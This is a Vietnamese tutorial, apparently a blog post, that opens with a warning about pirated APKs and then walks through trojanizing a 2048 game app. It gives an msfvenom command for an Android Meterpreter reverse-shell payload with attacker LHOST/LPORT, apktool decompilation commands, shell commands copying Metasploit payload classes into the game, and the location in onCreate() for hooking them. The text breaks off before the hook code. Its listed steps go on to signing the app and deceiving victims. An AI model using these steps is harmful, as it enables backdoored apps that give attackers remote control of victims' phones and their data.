Đừng bao giờ cài đặt các ứng dụng được chia sẻ miễn phí, tự do và dễ dàng download trên mạng xã hội. Hãy xem thật kĩ nguồn gốc và quyền mà ứng dụng đòi hỏi. Để điện thoại ra xa tầm tay trẻ em và YES Man!Việc sử dụng các ứng dụng chia sẻ tại các chợ đen trôi nổi trên mạng liệu có an toàn cho điện thoại của bạn. Và một thực tế là, nhiều ứng dụng trên các mạng chia sẻ tệp tin APK đều có những kẻ xấu luôn tìm cách nhét những mã độc vào đó, vì vụ lợi cá nhân như quảng cáo, thâm hiểm hơn là đánh cắp thông tin người dùng. Điện thoại là nơi lưu nhiều tệp tin quan trọng, nhạy cảm nhất, đôi khi còn tích hợp thanh toán điện tử, email, vân vân mây mây.

 

Trong vai một kẻ xấu, đây là các bước mà mình làm để đưa một ứng dụng bình thường trở thành độc hại.

  • Tạo một ứng dụng độc hại bằng Metasploit.
  • Dịch ngược ứng dụng.
  • Chép payload-lọc độc vào ứng dụng ban đầu. Bạn tưởng tượng Metasploit là con rắn mà bạn nuôi, khi nó bắt đầu sinh ra độc thì bạn bẻ răng xin nó một tí để đi đầu độc kẻ thù.
  • Gài lọc độc (hook) vào phần khởi động ứng dụng.
  • Thêm một vài quyền hạn đặc biệt vào ứng dụng ban đầu.
  • Đóng gói ứng dụng
  • Kí (xác minh ứng dụng – một công đoạn để đưa ứng dụng lên chợ đen) và đánh lừa nạn nhân
Tạo một ứng dụng độc hại bằng Metasploit.

Ứng dụng độc hại mà metasploit sinh ra không qua mắt được các chương trình virus, nhưng nó là một ví dụ, công cụ điển hình mà các hacker trong phim hay dùng. Tại sao là hacker trong phim, à thì phim ảnh là nguồn cảm hứng chính để viết bài này mà ^_^.msfvenom là con rắn, nó sẽ cho chúng ta lọc độc payload.

msfvenom -p android/meterpreter/[Payload_Type] LHOST=[IP_Address] LPORT=[Incoming_Port] -o meterpreter.apk  

Có nhiều loại Payload_Type, như reverse_tcp, reverse_http, reverse_https, ở đây mình dùng https cho nó hịn. Sau khi chạy lệnh trên xong, nó sẽ tạo ra cho ta một ứng dụng apk độc, ứng dụng này có có rất nhiều quyền kiểm soát thiết bị của bạn, mình sẽ nói sau.

Lúc này bạn có thể gửi trực tiếp cho nạn nhân, nhưng lại bảo là thuốc độc đây uống đi à, ngu gì nó uống, thông minh ra một chút thì có thể khuấy vào nước ngọt, đồ ăn, bánh kẹo, hoa qủa thứ gì mà nạn nhân hay sử dụng nhất.

Dịch ngược ứng dụng.

Đây mới là lúc chúng pha trộn hóa chất, tạo ra một qủa táo đỏ tươi, ngọt lịm để đánh lừa nàng Bạch Thuyết phàm ăn.

Muốn pha trộn được, trước hết chúng ta phải tiểu phẫu, hay nói cách đơn giản là dịch ngược ứng dụng nguồn ban đầu và ứng dụng độc hại ta vừa tạo ra. Bác sĩ phẫu thuật thì dùng dao mổ, chúng ta thì đừng có mà động đến nó nhé, sử dụng apktool là đủ rồi.

Mình có 2 file 2048Pro2.6.apk và meterpreter.apk là file gốc và file độc hại, mình để chúng trong cùng một folder victim, lệnh dưới đây sẽ dịch ngược mã nguồn của chúng ra dạng smali lần lượt trong các folder original và payload.

apktool d -f -o payload /victim/meterpreter.apk  
apktool d -f -o original /victim/2048_Pro_2.6.apk  
Chép payload-lọc độc vào ứng dụng ban đầu.

Sau khi bổ đôi quả táo, và bỏ thuốc độc ra khỏi túi thì chúng ta phải đưa chúng vào với nhau. Hay nói cách khác là chép phần độc hại nhất vào trong mã nguồn của ứng dụng ban đầu.

Vì lập trình Android thì đều là hướng đối tượng cả rồi, nên ta chỉ việc chép package và các class độc hại vào trong ứng dụng ban đầu thôi. Class độc hại được đóng gói trong package có tên com.metasploit.stage, hãy chép tất cả những file smali mà tên của nó có chứa từ “Payload”

dist="victim/original/smali/com/metasploit/stage"  
mkdir -p $dist  
from="victim/payload/smali/com/metasploit/stage"  
cp -vR $from/Payload* $dist  
Gài lọc độc (hook) vào phần khởi động ứng dụng.

Sau khi chép mã độc vào ứng dụng, thì lúc này mã độc vẫn chưa được kích hoạt. Để kích hoạt được chúng, chúng ta phải làm thao tác đó là hook đoạn mã kích hoạt vào đoạn mã khởi động chương trình.

Mỗi khi một chương trình trên Android khởi chạy, chương trình sẽ tìm main Activity, và khởi chạy method onCreate() của Activity đó.

Chúng ta xem qua file AndroidManifest.xml của game 2048 này. Ta thấy, chương trình khi khởi động sẽ chạy đến activity nằm ở vị trí com.digiplex.game2048.MainActivity, bởi vì activity này có chứa một action main android.intent.action.MAIN. Đường dẫn này sẽ tương ứng ở victim/original/smali/com/digiplex/game2048/MainActivity.smali khi chúng ta dịch ngược.

       <activity android:label="@string/app_name" android:name="com.digiplex.game2048.MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>

Mở file smali đó lên, chúng ta sẽ thấy vị trí của onCreate() method.

.method protected onCreate(Landroid/os/Bundle;)V
    .locals 7
    .param p1, "savedInstanceState"    # Landroid/os/Bundle;
    .prologue
    const/16 v6, 0xa
    const/4 v3, 0x1
    const/4 v5, 0x3
    const/4 v4, 0x0
    .line 66
    invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V

Chúng ta hãy thêm xuống bên dưới đoạn mã để kích hoạt mã độc vào ngay phía dưới của